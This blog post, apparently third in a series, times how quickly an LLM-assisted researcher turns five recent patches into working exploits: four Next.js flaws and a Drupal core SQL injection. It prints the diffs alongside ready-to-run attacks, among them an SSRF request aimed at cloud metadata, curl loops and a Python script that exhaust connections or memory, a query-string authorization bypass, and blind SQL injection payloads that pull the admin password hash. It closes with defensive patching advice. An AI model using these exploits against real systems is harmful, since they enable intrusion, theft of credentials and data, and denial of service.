#
30 Minutes from patch to exploit
Table of Contents #
TLDR;⌗ #
I read five security patches and I derived working exploits from all five. The slowest took 30 minutes and the fastest took two. An LLM did most of the heavy lifting while I pushed buttons, this is the working behind my blog the 90 day disclosure policy is dead: the gap between “patch ships” and “exploit exists” is now measured in minutes.
In the first post I mentioned that a patch can be turned into a working exploit in 30 minutes. In this blog we will go though detailed analysis of it.
I picked five CVEs from the last three weeks all real and now patched. Impacting the software you probably run. I did patch diffs and an LLM and timed myself withput any insider knowledge and with no prior research on the targets, only public advisory, public commit and a model that can read code.
next.js SSRF in 5 minutes⌗ #
On May 6, Vercel dropped twelve security advisories for Next.js in a single release, yes you read this right “12” in one day.
I started with the worst one CVE-2026-44578: server-side request forgery through WebSocket upgrade requests. CVSS 8.6. Affects every self-hosted Next.js deployment from 13.4.13 to 15.5.15. Three years of exposure.
The advisory says: “We now apply the same safety checks to WebSocket upgrade handling that already existed for normal HTTP requests.”
One sentence that tells me the upgrade path had no safety checks before. Si, I pulled the commit and the fix was six lines two boolean checks that should have been there from day one. The server was forwarding WebSocket upgrade requests to any URL an attacker put in the request line. No allow-list and No routing approval just “does the URL have a protocol? Proxy it”
The exploit is an HTTP request with an absolute URL in the request line and WebSocket upgrade headers. Send GET http://169.254.169.254/latest/meta-data/ HTTP/1.1
to any self-hosted Next.js app, the server opens a TCP connection to your target and relays the response back with Cloud metadata endpoints, Internal APIs, Docker internal services or anything the server can reach.
No login, No rewrite rules needed. Reading the advisory: 30 seconds. Understanding the diff: 2 minutes. Writing the PoC: 2 minutes. Total: under 5 minutes.
The thing that made me lol. Vercel shipped the working PoC inside the patch commit. The test file contains a function called sendAbsoluteUrlUpgradePayload
. It asserts the patched server does NOT proxy the request. Which means the unpatched server DOES. You do not even need an LLM, just need to read the test.
how the patch works #
The vulnerable code in router-server.ts
had a simple flow for WebSocket upgrade requests: parse the URL, check if it has a protocol field and if so proxy it.
The patch adds two guards: the routing pipeline must have explicitly finished
(meaning a rewrite rule matched and approved the destination) AND the result must not carry a statusCode
(meaning it was not a redirect or error).
The root cause is that Node.js’s URL parser sets protocol: 'http:'
on any absolute URL. The HTTP/1.1 spec allows absolute URLs in request lines browsers never send them, but nothing stops a raw socket from doing so. The upgrade handler trusted this parsed protocol as a signal to proxy, while it should have required explicit routing approval.
The fix file is packages/next/src/server/lib/router-server.ts
, commit c4f69086cc.
full patch diff + exploit payload #
The diff:
- const { matchedOutput, parsedUrl } = await resolveRoutes({
- req, res, isUpgradeReq: true, signal: signalFromNodeResponse(socket),
- })
+ const { finished, matchedOutput, parsedUrl, statusCode } =
+ await resolveRoutes({
+ req, res, isUpgradeReq: true, signal: signalFromNodeResponse(socket),
+ })
if (matchedOutput) {
return socket.end()
}
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
The exploit payload (raw HTTP):
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: your-nextjs-app.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
The PoC Vercel shipped in the test file ( rewrite-request-smuggling.test.ts):
const payload = Buffer.from(
`GET http://127.0.0.1:${targetPort}${ssrfProbePath} HTTP/1.1\r\n` +
`Host: 127.0.0.1:${nextPort}\r\n` +
`Connection: Upgrade\r\nUpgrade: websocket\r\n` +
`Sec-WebSocket-Version: 13\r\n` +
`Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n`,
'latin1'
)
Python PoC:
import socket
payload = (
f"GET http://INTERNAL_HOST:PORT/path HTTP/1.1\r\n"
f"Host: nextjs-target:3000\r\n"
f"Connection: Upgrade\r\n"
f"Upgrade: websocket\r\n"
f"Sec-WebSocket-Version: 13\r\n"
f"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
f"\r\n"
).encode("latin-1")
sock = socket.create_connection(("nextjs-target", 3000), timeout=5)
sock.sendall(payload)
print(sock.recv(4096).decode())
sock.close()
Lab reproduction:
The Docker Compose lab at the bottom of this post includes a vulnerable Next.js 15.5.15 instance and an internal canary service the SSRF PoC confirms the server enters the proxy code path for any absolute-URL upgrade request. In the lab, http-proxy
’s WebSocket mode has a connectivity nuance with the canary (it expects a real WebSocket handshake), but the server-side proxy trigger is confirmed via the error log: Failed to proxy http://INTERNAL_TARGET
the server attempted to connect to the attacker-controlled URL. In production with a real internal HTTP service, the response relays back cleanly.
was it a fluke? (spoiler: no)⌗ #
Okay maybe I got lucky with the SSRF, maybe that one was unusually easy. I had never looked at the Next.js source before this and yet here I am with a working 1-day exploit. Let’s try the other patches from the same May 6 release and see if we can keep the streak going.
CVE-2026-44579 : connection exhaustion via one header (2 minutes)⌗
The fix was one line, they have added a header name to a strip-list and that was it.
The Next-Resume
header is an internal header used by Vercel’s edge proxy to resume Partial Prerendered pages. This should NOT come from a client but on self-hosted deployments, nobody was stripping it. An attacker sends a POST with Next-Resume: 1
and a small body. The server enters a request-body handling deadlock, the connection stays open and eats a file descriptor. Repeat this 500 times and legitimate users get connection refused.
The PoC is curl
in a loop, 2 minutes from advisory to exploit. The fix was 1 line of code.
how the patch works #
Next.js maintains an INTERNAL_HEADERS
array in packages/next/src/server/lib/server-ipc/utils.ts
Headers in this list are stripped from incoming requests before they reach application code the Next-Resume
header was missing from this list, so external clients could inject it.
When the server receives a Next-Resume
header on a POST to a server action endpoint, it enters the Partial Prerendering resume flow. This flow expects a specific binary format in the request body a malformed or minimal body causes the handler to wait indefinitely for more data, holding the connection open and consuming a file descriptor and worker slot.
The fix: add 'next-resume'
to the INTERNAL_HEADERS
array, 1 string per array.
full patch diff + PoC #
**The diff (commit **
73de045895
):
const INTERNAL_HEADERS = [
'x-matched-path',
'x-nextjs-data',
'x-next-resume-state-length',
+ 'next-resume',
]
The PoC:
#!/usr/bin/env bash
HOST="${1:-127.0.0.1}"
PORT="${2:-3000}"
for i in $(seq 1 500); do
curl -sS -o /dev/null \
-X POST "http://${HOST}:${PORT}/" \
-H "Next-Resume: 1" \
-H "Content-Type: text/plain" \
-H "Next-Action: deadbeef" \
--data "x" \
--max-time 120 &
if [ $((i % 50)) -eq 0 ]; then
echo "Sent ${i}/500..."
sleep 1
fi
done
sleep 5
curl -sS -o /dev/null -w "HTTP %{http_code}" \
--connect-timeout 5 "http://${HOST}:${PORT}/"
Note: This requires the target to use Cache Components (Partial Prerendering). If PPR is not enabled the header is ignored and the deadlock does not trigger.
CVE-2026-44577 : image optimizer OOM (3 minutes)⌗
The image optimizer at /_next/image
fetches local images through a mocked internal request external images already had a size limit while internal images did not. Drop a large file in public/
, request it through the image optimizer five times in parallel and the server buffers hundreds of megabytes into process memory. Node.js OOMs and crashes BOOM.
The default images.localPatterns
config allows all local paths, default config, default vulnerability. 3 minutes to exploit.
how the patch works #
The fetchInternalImage
function in packages/next/src/server/image-optimizer.ts
creates a mocked HTTP request/response pair to fetch local assets the mocked response in packages/next/src/server/lib/mock-request.ts
buffered the entire response body with no size limit.
This patch adds a maximumResponseBody
parameter to both fetchInternalImage
and MockedResponse
and when the accumulated buffer exceeds the limit, the response throws ERR_MAX_BODY_SIZE_EXCEEDED
before it can exhaust process memory.
This was a regression in the security model external image fetches had this limit via images.maximumResponseBody
, but the internal fetch path was added later and missed the check.
full patch diff + PoC #
**The diff (commit **
3f1b7b7501
):
export async function fetchInternalImage(
href: string,
_req: IncomingMessage,
_res: ServerResponse,
+ maximumResponseBody: number,
handleRequest: (
newReq: IncomingMessage,
newRes: ServerResponse,
@@ -862,6 +863,7 @@
url: href,
method: _req.method || 'GET',
socket: _req.socket,
+ maximumResponseBody,
})
And in MockedResponse
:
+ private maximumResponseBody?: number
+ private totalSize: number = 0
constructor(res: MockedResponseOptions = {}) {
+ this.maximumResponseBody = res.maximumResponseBody
The PoC:
#!/usr/bin/env bash
dd if=/dev/zero of=public/big.bin bs=1M count=200
for i in {1..5}; do
curl -o /dev/null \
"http://target/_next/image?url=%2Fbig.bin&w=$((16+i))&q=75" &
done
wait
curl -o /dev/null -w "HTTP %{http_code}" http://target/
Each request forces the server to buffer 200 MB into process memory, five concurrent requests = ~1 GB of memory pressure. On a container with 512 MB memory limit, two requests should be enough.
okay let me try something harder⌗ #
At this point the jokey narrative writes itself 3 CVEs, all trivial, all derived in under five minutes. TBH Were they all this easy? let’s grabbed the fourth Next.js patch from the same batch to find out.
CVE-2026-44574 : middleware bypass (the honest miss)⌗
This is the one where the LLM hit a wall.
The vulnerability lets an attacker bypass middleware authorization on dynamic routes. The URL path stays the same, Middleware sees /posts/public-post
and allows it. But a crafted query parameter secretly replaces the dynamic route value, so the page renders content from /posts/admin-only-post
. The middleware check passes -> wrong content loads ->Authorization bypassed.
I stared at this for 45 minutes the diff is 48 lines across 6 files. It involves the standalone build pipeline, an internal parameter serialization format and the subtle interaction between middleware route matching and page-level parameter resolution. The LLM got me to “there is a parameter injection here” in 5 minutes but it could not construct a working bypass without me explaining how standalone mode’s routing diverges from next start
.
This one took 45 minutes. The LLM replaced the first 80% of the work. The last 20% still needed someone who understands how Next.js deployment modes actually behave.
LLMs have not replaced humans (yet).
why this one was harder #
The vulnerability exists only in standalone mode deployments when Next.js is built with output: 'standalone'
and served through a custom proxy that consumes required-server-files.json
. In this mode the proxy adds query parameters with an nxtP
prefix to pass dynamic route values to the page renderer pre patch the page renderer’s normalizeQueryParams()
function honor these nxtP
parameters from any source including external client requests.
The fix adds an isWrappedByNextServer
flag When set (meaning the request came through the full next start
pipeline) normalizeQueryParams
runs normally when NOT set (standalone proxy mode), only filterInternalQuery
runs that strips the injection vector.
The difficulty: you need to know that
1: standalone mode exists
2: it uses nxtP
prefixed params 3: these params override the dynamic route values 4: the middleware runs against the URL path, not the resolved params
None of this is in the advisory you have to trace it through the route-module code.
The LLM identified normalizeQueryParams
as the dangerous function and the nxtP
prefix as the injection vector but it proposed testing against next start
first (wrong that path was already safe) and needed me to explain the standalone routing divergence before the PoC worked.
full patch diff + analysis #
**The diff (commit **
87080764c9
):
// router-server-context.ts
+ // indicates request handlers are already wrapped by next-server
+ isWrappedByNextServer?: boolean
// next-server.ts
+ routerServerGlobal[RouterServerContextSymbol][
+ relativeProjectDir
+ ].isWrappedByNextServer = true
// route-module.ts
- serverUtils.normalizeQueryParams(query, routeParamKeys)
+ if (!routerServerContext?.isWrappedByNextServer) {
+ serverUtils.normalizeQueryParams(query, routeParamKeys)
+ } else {
+ serverUtils.filterInternalQuery(query, [])
+ }
Attack flow:
1: Target has a dynamic route /posts/[slug]
protected by middleware
2: Middleware checks req.nextUrl.pathname
: sees /posts/public-post
allows it
3: Attacker appends ?nxtPslug=admin-only-post
to the URL
4: In standalone mode, normalizeQueryParams
replaces the slug
param with admin-only-post
5: The page renders admin content, but middleware never saw it
Why the LLM missed it?
The model correctly identified the injection vector but proposed testing against next start
which already had the isWrappedByNextServer
flag set (the fix was already the default behavior for that path). The exploit only works against standalone deployments using the required-server-files.json
proxy pattern. Understanding this required knowing Next.js deployment architecture not just reading the diff.
Derivation timeline: 5 min to identify the concept and 40 min to build the deployment mode specific PoC.
The cross-language closer: drupal core SQL injection in 25 minutes⌗ #
If in case you are thinking this is JS problem, then you are worng this is a software problem.
Five days ago May 20, 2026 Drupal published SA-CORE-2026-004 CVE-2026-9082 SQLi in Drupal core CVSS 9.8 from Drupal’s own assessment impacting every version since 8.9.0 released in 2020. (Wooping 6 yeas of exposure)
CISA added it to the Known Exploited Vulnerabilities catalog within 48 hours of disclosure Federal agencies were given until May 27 to patch 5 days for a bug that had existed for six years.
The entire patch is three lines. array_values()
reset associative array keys to numeric indices. The bug: Drupal’s SQL query builder concatenated user-supplied array keys into prepared-statement placeholder names. If you control the keys and JSON:API lets you control the keys, you control the SQL.
The LLM identified the injection pattern in under a minute LLM’s human work was finding where user input arrives as an associative array. JSON:API’s filter syntax was the answer enabled by default on many installations with no authentication required.
Total: about 25 minutes. Reading the advisory, pulling the commit, understanding the fix, finding the entry point and writing the PoC
how the injection works #
Drupal’s Entity Query SQL condition builder in core/lib/Drupal/Core/Entity/Query/Sql/Condition.php
builds prepared-statement placeholders by concatenating a field name prefix with the array key of each condition value:
$where_prefix = str_replace('.', '_', $condition['real_field']);
foreach ($condition['value'] as $key => $value) {
$where_id = $where_prefix . $key;
$condition['where'] .= 'LOWER(:' . $where_id . '),';
$condition['where_args'][':' . $where_id] = $value;
}
When $condition['value']
is an associative array (string keys), those keys are concatenated directly into the WHERE clause. PDO’s placeholder regex only matches identifier characters, so anything after the first non identifier character (;
, space, )
) in the key leaks as raw, unparameterized SQL.
The fix: $condition['value'] = array_values($condition['value'])
force numeric keys before the loop runs.
The attack surface is JSON:API, which allows filter parameters with string keys: filter[field][value][ATTACKER_KEY]=value
The attacker controlled key becomes part of the SQL.
full patch diff + PoC #
**The diff (commit **
7a01774668
):
--- a/core/lib/Drupal/Core/Entity/Query/Sql/Condition.php
+++ b/core/lib/Drupal/Core/Entity/Query/Sql/Condition.php
@@ -67,6 +67,9 @@
continue;
}
$condition['real_field'] = $field;
+ if (is_array($condition['value'])) {
+ $condition['value'] = array_values($condition['value']);
+ }
static::translateCondition($condition, ...);
Same fix in ConditionAggregate.php
and pgsql/src/EntityQuery/Condition.php
The PoC (time based blind injection via JSON:API):
curl -G "http://target/jsonapi/node/article" \
--data-urlencode 'filter[uid.uid][operator]=IN' \
--data-urlencode "filter[uid.uid][value][) OR SLEEP(5)-- ]=1"
What the SQL becomes:
WHERE ... IN (LOWER(:field_uid_) OR SLEEP(5)-- , LOWER(:field_uid_1))
PDO binds :field_uid_
(stops at )
) and :field_uid_1
. The OR SLEEP(5)--
sits in the raw SQL, unparameterized. The database executes it.
For PostgreSQL targets:
curl -G "http://target/jsonapi/node/article" \
--data-urlencode 'filter[uid.uid][operator]=IN' \
--data-urlencode "filter[uid.uid][value][) OR (SELECT pg_sleep(5))-- ]=1"
For data exfiltration, replace SLEEP with a conditional subquery:
curl -G "http://target/jsonapi/node/article" \
--data-urlencode 'filter[uid.uid][operator]=IN' \
--data-urlencode "filter[uid.uid][value][) OR IF(SUBSTRING((SELECT pass FROM users_field_data WHERE uid=1),1,1)='$',SLEEP(3),0)-- ]=1"
If the response takes 3 seconds, the first character is $
(which it is Drupal password hashes start with $
). Repeat for each position. Classic blind SQLi.
Derivation timeline:
- Reading advisory: 1 min
- Pulling commit: 30 sec
- Understanding
array_values()
as the fix: 2 min - LLM identifies injection pattern: 1 min
- Finding JSON:API as the entry point: 10 min (grepping for where user input becomes associative arrays)
- Writing the PoC: 5 min
- Testing variants (MySQL vs PostgreSQL): 5 min
Total: ~25 minutes. The LLM did the code analysis LLM’s human found the entry point.
the scorecard⌗ #
| CVE | Target | Bug class | Patch size | Derivation time | LLM contribution |
|---|---|---|---|---|---|
| CVE-2026-44578 | Next.js | SSRF | 13 lines | 5 min | |
| Read the diff, identify the missing check. PoC was in the test file. | |||||
| CVE-2026-44579 | Next.js | DoS | 1 line | 2 min | |
| “The header name is the exploit.” | |||||
| CVE-2026-44577 | Next.js | DoS | 27 lines | 3 min | |
| Traced the missing size-limit code path. | |||||
| CVE-2026-44574 | Next.js | Auth bypass | 48 lines | 45 min | |
| Got the concept fast, needed human for deployment-mode-specific PoC. Honest miss on first attempt. | |||||
| CVE-2026-9082 | Drupal | SQLi | 3 lines | 25 min | |
| Identified injection pattern instantly, needed human to find JSON:API entry point. |
Four out of five in under 10 minutes, fifth one took 45 and required domain specific knowledge LLM did the first 80% every single time.
what this means⌗ #
When I wrote “the 90 day disclosure policy is dead”, I mentioned the React story: 30 minutes from patch to exploit “I was not exaggerating”.
The patches are the exploit documentation. The diffs tell you what was broken, where and how to trigger it. An LLM can read a diff and explain the vulnerability in plain English in seconds. The “reverse engineering” that used to take days now takes minutes because the model understands code flow, identifies missing safety checks and can even write the PoC.
CISA added the Drupal SQLi to KEV within 48 hours, Microsoft saw Dirty Frag in the wild within 24 hours.
The n-day gap the comfortable buffer between “patch ships” and “exploit lands” is gone becasue every patch is an exploit tutorial and every advisory is an attack playbook. The only thing protecting users is the speed at which they apply the update.
And if you are still on a monthly patch cycle you are giving attackers 30 days of free entry ticket.
what to do about it⌗ #
I covered the defensive playbook in detail in score by collisions, patch by panic.
Short version:
Patch critical issues in hours, not days. The Drupal SQLi went from disclosure to CISA KEV in 48 hours. Your patch cycle needs to beat that. - Monitor patch diffs, not just advisories. The advisory for the Next.js SSRF says “server-side request forgery through crafted WebSocket upgrade requests.” The diff tells you the exact payload format. Attackers read diffs. You should too. - Run LLM-assisted analysis on every upstream patch. If I can derive a PoC in 5 minutes, your security team should be deriving the same PoC and writing a WAF rule in the same 5 minutes. - Virtual patching is not optional. When you cannot deploy a code fix in 4 hours, a WAF rule or reverse-proxy header strip buys time. The Next-Resume DoS fix is literally “strip a header.” You can do that at the edge in seconds. - Assume the exploit exists the moment the patch ships. Not “might exist.” Exists.
the lab environment #
Everything in this post was tested against a local Docker Compose lab. No external targets were touched.
Components:
Next.js 15.5.15(vulnerable) running vianext start
on port 3000Internal canary service on port 8888 (Python HTTP server, Docker-internal only)Drupal 11.2.11(vulnerable) with MariaDB on port 8080
Setup:
git clone https://github.com/unknownhad/patch-to-exploit.git
cd patch-to-exploit/labs
docker compose up -d
PoC scripts:
pocs/01-nextjs-ssrf.py
: CVE-2026-44578 SSRF via WebSocket upgradepocs/02-nextjs-image-dos.sh
: CVE-2026-44577 Image Optimization OOMpocs/03-nextjs-cache-dos.sh
: CVE-2026-44579 Next-Resume connection exhaustionpocs/04-drupal-sqli.py
: CVE-2026-9082 Drupal JSON:API blind SQL injection
Each script has --help
with usage instructions. The README in the repo has full setup and reproduction steps.
Honest lab notes:
- The SSRF PoC confirms the proxy trigger (server attempts to connect to attacker controlled URL) but the lab’s
http-proxy
WebSocket mode expects a real WebSocket handshake from the canary in production with a real HTTP service as the SSRF target, the response relays back cleanly. The server side behavior (outbound connection attempt) is the proof of vulnerability. - The Image DoS was not fully validated because the lab container needs a large file in
public/
and sufficient memory limits to observe the OOM vs the kernel killing the process first. - The Cache DoS requires PPR enabled routes to trigger the deadlock a basic Next.js app without Cache Components will ignore the header.
- The Drupal SQLi requires completing the Drupal installation wizard and enabling JSON:API before the PoC works.
If any of this resonated, hit me up. If you think I am wrong about any of the PoCs especially hit me up. The whole point is to get holes punched in this before someone less friendly does.
Thanks for reading.
This is the third post in the series. Previous:
Next:
10 people found my bug before me(the duplicate finder problem and what it means for bounties) →coming soondefender playbook for the LLM era(practical integration patterns) →coming soon